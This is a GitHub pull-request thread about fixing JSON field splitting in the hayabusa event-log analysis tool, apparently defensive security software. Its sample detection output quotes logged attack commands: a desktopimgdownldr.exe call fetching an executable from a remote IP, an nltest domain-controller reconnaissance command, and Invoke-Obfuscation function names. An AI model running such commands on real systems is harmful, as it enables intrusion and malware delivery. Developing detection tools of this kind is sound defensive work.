Fixed json fields get moved over

[hitenkoku]

What Changed

• Fixed a problem with incorrect field splitting in the CommandLine field in JSON output.

I would appreciate it if you could review when you have time.

[codecov]

Codecov Report

Patch coverage: 64.28% and project coverage change: +0.01% 🎉

Comparison is base (f294361) 83.82% compared to head (e54b76d) 83.83%.

❗ Current head e54b76d differs from pull request most recent head 39ec59a. Consider uploading reports for the commit 39ec59a to get more accurate results

Additional details and impacted files

@@            Coverage Diff             @@
##             main    #1146      +/-   ##
==========================================
+ Coverage   83.82%   83.83%   +0.01%     
==========================================
  Files          26       26              
  Lines       23388    23398      +10     
==========================================
+ Hits        19604    19615      +11     
+ Misses       3784     3783       -1     

Files Changed	Coverage Δ
src/afterfact.rs	74.39% <64.28%> (-0.07%)	⬇️

... and 6 files with indirect coverage changes

☔ View full report in Codecov by Sentry.
📢 Have feedback on the report? Share it here.

[fukusuket]

@hitenkoku
It seems that a parse error occurs with the jq command when executed in the following procedure🤔 Could you please confirm?🙇

./hayabusa-new json-timeline -d ../hayabusa-sample-evtx -o out.json
cat out.json | jq
...
parse error: Expected another key-value pair at line 52522, column 5

[hitenkoku]

@fukusuket Thanks you for pointing this out.
Fixed jq execution so that it does not generate an error in 9035e75 .

Sorry to keep asking you to check. Would you check it?

[YamatoSecurity]

@hitenkoku Thank you for the update!
ScriptBlockText gets put inside ScriptBlockId now. Could you check this?

{
  "Timestamp": "2021-10-25 03:23:13.801 -04:00",
  "Computer": "FS03.offsec.lan",
  "Channel": "PwSh",
  "EventID": 4104,
  "Level": "info",
  "RecordID": 2960,
  "RuleTitle": "PwSh Scriptblock",
  "Details": {
    "ScriptBlock": "param($x)\\r\\nif ($x.ToUpperInvariant().Equals(\"NOTCONFIGURED\")) { $this.PSBase.CimInstanceProperties[\"MaxSAIdleTimeSeconds\"].Value = 0; } else { $this.PSBase.CimInstanceProperties[\"MaxSAIdleTimeSeconds\"].Value = [uint32]$x; }"
  },
  "ExtraFieldInfo": {
    "MessageNumber": 1,
    "MessageTotal": 1,
    "ScriptBlockId": "1c6dc9f4-ca6d-4c09-917b-8896b9cd7bb0 | ScriptBlockText: 0; | param($x)if ($x.ToUpperInvariant().Equals(\"NOTCONFIGURED\")) { $this.PSBase.CimInstanceProperties[\"MaxSAIdleTimeSeconds\"].Value = } else { $this.PSBase.CimInstanceProperties[\"MaxSAIdleTimeSeconds\"].Value = [uint32]$x; }"
  }
}

I am using this command to test: ./hayabusa-json-fix json-timeline -d ../hayabusa-sample-evtx -o fix.jsonl -L -u -D

[hitenkoku]

@YamatoSecurity I apologize for the delay in responding to your request.

I have corrected the information you pointed out.

Would you please check it?

ScriptBlockText gets put inside ScriptBlockId now

[fukusuket]

@hitenkoku
Thank you so much for fix :) I confirmed that there is no jq parse error!!
I checked the results for hayabusa-sample-evtx, the results were as follows. It seems that there are still cases where the field is moved. 🤔 Could you check this?🙇

% cat results.csv | grep "2021-04-22 19:04:37.081 +09:00"
"2021-04-22 19:04:37.081 +09:00","win10-02.offsec.lan","PwSh",4104,"info",135,"PwSh Scriptblock","ScriptBlock: Write-Host 'Final result: 1';","MessageNumber: 1 ¦ MessageTotal: 1 ¦ Path: ¦ ScriptBlockId: d4032236-9130-47e8-8602-626a2b5e46e7"
% cat results.json | jq 'select ( .Timestamp == "2021-04-22 19:04:37.081 +09:00" ) '
{
  "Timestamp": "2021-04-22 19:04:37.081 +09:00",
  "Computer": "win10-02.offsec.lan",
  "Channel": "PwSh",
  "EventID": 4104,
  "Level": "info",
  "RecordID": 135,
  "RuleTitle": "PwSh Scriptblock",
  "Details": {
    "ScriptBlock": "Write-Host 'Final",
    "result": "1';"
  },
  "ExtraFieldInfo": {
    "MessageNumber": 1,
    "MessageTotal": 1,
    "Path": "",
    "ScriptBlockId": "d4032236-9130-47e8-8602-626a2b5e46e7"
  }
}

[hitenkoku]

@fukusuket I apologize for the delay in responding to your request.
I have corrected the information you pointed out in .3b4146f
Would you please check it?

@hitenkoku Thank you so much for fix :) I confirmed that there is no jq parse error!! I checked the results for hayabusa-sample-evtx, the results were as follows. It seems that there are still cases where the field is moved. 🤔 Could you check this?🙇

% cat results.csv | grep "2021-04-22 19:04:37.081 +09:00"
"2021-04-22 19:04:37.081 +09:00","win10-02.offsec.lan","PwSh",4104,"info",135,"PwSh Scriptblock","ScriptBlock: Write-Host 'Final result: 1';","MessageNumber: 1 ¦ MessageTotal: 1 ¦ Path: ¦ ScriptBlockId: d4032236-9130-47e8-8602-626a2b5e46e7"
% cat results.json | jq 'select ( .Timestamp == "2021-04-22 19:04:37.081 +09:00" ) '
{
  "Timestamp": "2021-04-22 19:04:37.081 +09:00",
  "Computer": "win10-02.offsec.lan",
  "Channel": "PwSh",
  "EventID": 4104,
  "Level": "info",
  "RecordID": 135,
  "RuleTitle": "PwSh Scriptblock",
  "Details": {
    "ScriptBlock": "Write-Host 'Final",
    "result": "1';"
  },
  "ExtraFieldInfo": {
    "MessageNumber": 1,
    "MessageTotal": 1,
    "Path": "",
    "ScriptBlockId": "d4032236-9130-47e8-8602-626a2b5e46e7"
  }
}

[YamatoSecurity]

@hitenkoku
I tested it out but it seems that the splitting in the command line is still having problems:

{
  "Timestamp": "2021-10-21 13:16:41.916 -04:00",
  "Computer": "COMPUTER.domain.local",
  "Channel": "Sec",
  "EventID": 4688,
  "Level": "low",
  "RecordID": 60041,
  "RuleTitle": "Susp CmdLine (Possible LOLBIN)",
  "Details": {
    "Cmdline": "C:\\Windows\\system32\\cmd.exe /C nltest",
    "/dclist": "C:\\Windows\\System32\\cmd.exe",
    "Proc": "0x15d0",
    "PID": "COMPUTER$",
    "User": "0x3e7"
  },
  "ExtraFieldInfo": {
    "MandatoryLabel": "SYSTEM_INTEGRITY",
    "ParentProcessName": "C:\\Windows\\System32\\svchost.exe",
    "ProcessId": "0x888",
    "SubjectDomainName": "domain",
    "SubjectUserSid": "S-1-5-18",
    "TargetDomainName": "NT AUTHORITY",
    "TargetLogonId": "0x4f5923f",
    "TargetUserName": "SYSTEM",
    "TargetUserSid": "S-1-0-0",
    "TokenElevationType": "FULL_TOKEN"
  }
}

[hitenkoku]

@YamatoSecurity Thanks for your comment. I fixed following problems in e1558c1 . Would you check it?

@hitenkoku I tested it out but it seems that the splitting in the command line is still having problems:

{
  "Timestamp": "2021-10-21 13:16:41.916 -04:00",
  "Computer": "COMPUTER.domain.local",
  "Channel": "Sec",
  "EventID": 4688,
  "Level": "low",
  "RecordID": 60041,
  "RuleTitle": "Susp CmdLine (Possible LOLBIN)",
  "Details": {
    "Cmdline": "C:\\Windows\\system32\\cmd.exe /C nltest",
    "/dclist": "C:\\Windows\\System32\\cmd.exe",
    "Proc": "0x15d0",
    "PID": "COMPUTER$",
    "User": "0x3e7"
  },
  "ExtraFieldInfo": {
    "MandatoryLabel": "SYSTEM_INTEGRITY",
    "ParentProcessName": "C:\\Windows\\System32\\svchost.exe",
    "ProcessId": "0x888",
    "SubjectDomainName": "domain",
    "SubjectUserSid": "S-1-5-18",
    "TargetDomainName": "NT AUTHORITY",
    "TargetLogonId": "0x4f5923f",
    "TargetUserName": "SYSTEM",
    "TargetUserSid": "S-1-0-0",
    "TokenElevationType": "FULL_TOKEN"
  }
}

[fukusuket]

@hitenkoku
Thank you so much for fix!!
I checked the keys under Details with the following command. Some fields still seem to be moved🤔 Could you check this?🙇

./hayabusa json-timeline -d ../hayabusa-sample-evtx -o results.json -C
cat results.json | jq 'select ((.Details != "-") and (.EventID == 4104))' | jq .Details | jq keys | sort | uniq
  "(@danielhbohannon)\\r\\nLicense",
  "2010",
  "Dependencies",
  "Function",
  "Invoke-Obfuscation",
  "Line",
  "Name",
  "Out-ConcatenatedString\\r\\nAuthor",
  "Out-ObfuscatedMemberTokenLevel3\\r\\nAuthor",
  "Out-ObfuscatedStringCommand\\r\\nAuthor",
  "Out-ObfuscatedTypeToken\\r\\nAuthor",
  "Out-RandomPowerShellStdInInvokeSyntax\\r\\nAuthor",
  "Out-StringDelimitedConcatenatedAndReordered\\r\\nAuthor",
  "ScriptBlock"
  "ScriptBlock",
  "Show-HelpMenu\\r\\nAuthor"
  "\"<REDACTED\"",
  "\"Error\"",
  "\"`nERROR\"",
  "\"`nWARNING\"",
  "error"
  "is"
  "log"
  "obfuscation"
  "options"
  "ordering"
  "rundll32.exe"
[
]

[hitenkoku]

@YamatoSecurity I have added key extraction criteria.
I tried entering the jq command you gave me in this environment, but was unable to extract it, so would you please check there as well?

cat ... .json | jq . , but I have confirmed that it is possible to run.

@hitenkoku Thank you so much for fix!! I checked the keys under Details with the following command. Some fields still seem to be moved🤔 Could you check this?🙇

./hayabusa json-timeline -d ../hayabusa-sample-evtx -o results.json -C
cat results.json | jq 'select ((.Details != "-") and (.EventID == 4104))' | jq .Details | jq keys | sort | uniq
  "(@danielhbohannon)\\r\\nLicense",
  "2010",
  "Dependencies",
  "Function",
  "Invoke-Obfuscation",
  "Line",
  "Name",
  "Out-ConcatenatedString\\r\\nAuthor",
  "Out-ObfuscatedMemberTokenLevel3\\r\\nAuthor",
  "Out-ObfuscatedStringCommand\\r\\nAuthor",
  "Out-ObfuscatedTypeToken\\r\\nAuthor",
  "Out-RandomPowerShellStdInInvokeSyntax\\r\\nAuthor",
  "Out-StringDelimitedConcatenatedAndReordered\\r\\nAuthor",
  "ScriptBlock"
  "ScriptBlock",
  "Show-HelpMenu\\r\\nAuthor"
  "\"<REDACTED\"",
  "\"Error\"",
  "\"`nERROR\"",
  "\"`nWARNING\"",
  "error"
  "is"
  "log"
  "obfuscation"
  "options"
  "ordering"
  "rundll32.exe"
[
]

[fukusuket]

@hitenkoku
Thank you so much for fix :) I checked b02cfac, It's a lot better!!, but there seems to be a few fields that have been moved. Is it difficult to deal with this? 🤔

 ./hayabusa json-timeline -d ../hayabusa-sample-evtx -o results.json -C
cat results.json | jq 'select ((.Details != "-") and (.EventID == 4104))' | jq .Details | jq keys | sort | uniq
  "Application",
  "Dependencies",
  "Function",
  "Invoke-Obfuscation",
  "Out-ConcatenatedString\\r\\nAuthor",
  "Out-ObfuscatedCommandTokenLevel2\\r\\nAuthor",
  "Out-ObfuscatedMemberTokenLevel3\\r\\nAuthor",
  "Out-ObfuscatedStringCommand\\r\\nAuthor",
  "Out-ObfuscatedStringTokenLevel1\\r\\nAuthor",
  "Out-ObfuscatedTypeToken\\r\\nAuthor",
  "Out-RandomPowerShellStdInInvokeSyntax\\r\\nAuthor",
  "Out-StringDelimitedConcatenatedAndReordered\\r\\nAuthor",
  "ScriptBlock"
  "ScriptBlock",
  "Show-HelpMenu\\r\\nAuthor"
[
]

[fukusuket]

I'm sorry for commenting so many times🙇
Conversely, there seems to be a case where the field name is no longer extracted ... 😭

EID4688, Proc/User/PID/LID fields are not extracted.

{
  "Timestamp": "2016-08-30 20:36:06.652 +09:00",
  "Computer": "IE10Win7",
  "Channel": "Sec",
  "EventID": 4688,
  "Level": "info",
  "RecordID": 8402,
  "RuleTitle": "Proc Exec",
  "Details": {
    "Cmdline": "\"C:\\Windows\\system32\\notepad.exe\" : Proc: C:\\Windows\\System32\\notepad.exe: PID: 0x1324: User: IEUser: LID: 0x4d011\""
  },
  "ExtraFieldInfo": {
    "CommandLine": "\"C:\\Windows\\system32\\notepad.exe\"",
    "ProcessId": "0xa30",
    "SubjectDomainName": "IE10WIN7",
    "SubjectUserSid": "S-1-5-21-3463664321-2923530833-3546627382-1000",
    "TokenElevationType": "LIMITED_TOKEN"
  }
}

EID1, Proc/User/LID/PID/PGUID fields are not extracted.

{
  "Timestamp": "2022-08-29 14:35:43.195 +09:00",
  "Computer": "DESKTOP-VQBONAV",
  "Channel": "Sysmon",
  "EventID": 1,
  "Level": "high",
  "RecordID": 1906,
  "RuleTitle": "Suspicious Desktopimgdownldr Command",
  "Details": {
    "Cmdline": "\"C:\\Windows\\system32\\desktopimgdownldr.exe\" /lockscreenurl:http://192.168.158.128:8000/calc.exe /eventName:desktopimgdownldr: Proc: C:\\Windows\\System32\\desktopimgdownldr.exe: User: DESKTOP-VQBONAV\\user\"",
    "ParentCmdline": "\"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" : LID: 0x6addb: LGUID: 3E153517-4E00-630C-DBAD-060000000000: PID: 60: PGUID: 3E153517-502F-630C-DB00-000000000500\"",
    "ParentPID": 312,
    "ParentPGUID": "3E153517-4EE4-630C-BA00-000000000500",
    "Description": "desktopimgdownldr.exe",
    "Product": "Microsoft® Windows® Operating System",
    "Company": "Microsoft Corporation",
    "Hashes": "MD5=0E8109FF251EE8C467F3F3641A2AFDDB,SHA256=AAADA36880E08C0B37ED6A1F6FF605144C650D987C0F8049347E9DD5A04CDB4E,IMPHASH=F8D617766CF1026390A712DFC1AE2EDA"
  },
  "ExtraFieldInfo": {
    "CurrentDirectory": "C:\\Windows\\system32\\",
    "FileVersion": "10.0.18362.1 (WinBuild.160101.0800)",
    "IntegrityLevel": "High",
    "ParentCommandLine": "\"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\"",
    "ParentImage": "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe",
    "RuleName": "-",
    "TerminalSessionId": 1,
    "UtcTime": "2022-08-29 05:35:43.167"
  }
}

[YamatoSecurity]

@hitenkoku I checked the refactor PR and merged it because it was working well.
It seems there are some conflicts. Could you merge this after fixing the conflicts?

[hitenkoku]

@YamatoSecurity I checked CI error ( https://github.com/Yamato-Security/hayabusa/actions/runs/6204910522/job/16847511183 ). This error was caused by time crate in hayabusa-evtx.
I requested by Yamato-Security/hayabusa-evtx#39 .

Could you check it?

   Compiling time v0.3.28
error[E0557]: feature has been removed
  --> /home/runner/.cargo/registry/src/index.crates.io-6f17d22bba15001f/time-0.3.28/src/lib.rs:79:39
   |
79 | #![cfg_attr(coverage_nightly, feature(no_coverage))]
   |                                       ^^^^^^^^^^^ feature has been removed
   |
   = note: renamed to `coverage_attribute`

For more information about this error, try `rustc --explain E0557`.

[YamatoSecurity]

@hitenkoku Thanks for fixing this. I approved the hayabusa-evtx PR so you can merge it.

[hitenkoku]

@YamatoSecurity Thanks for your check! But CI stopped by same reason 🤔
I pull requested in time crate.

time-rs/time#619

[hitenkoku]

CI's coverage has an error, but we will merge for the following reason.

It has been approved by @YamatoSecurity via chat.

• The reason why it is failing is due to the influence of other libraries when obtaining coverage.
• The test in CI has passed, and there is no problem in terms of functionality.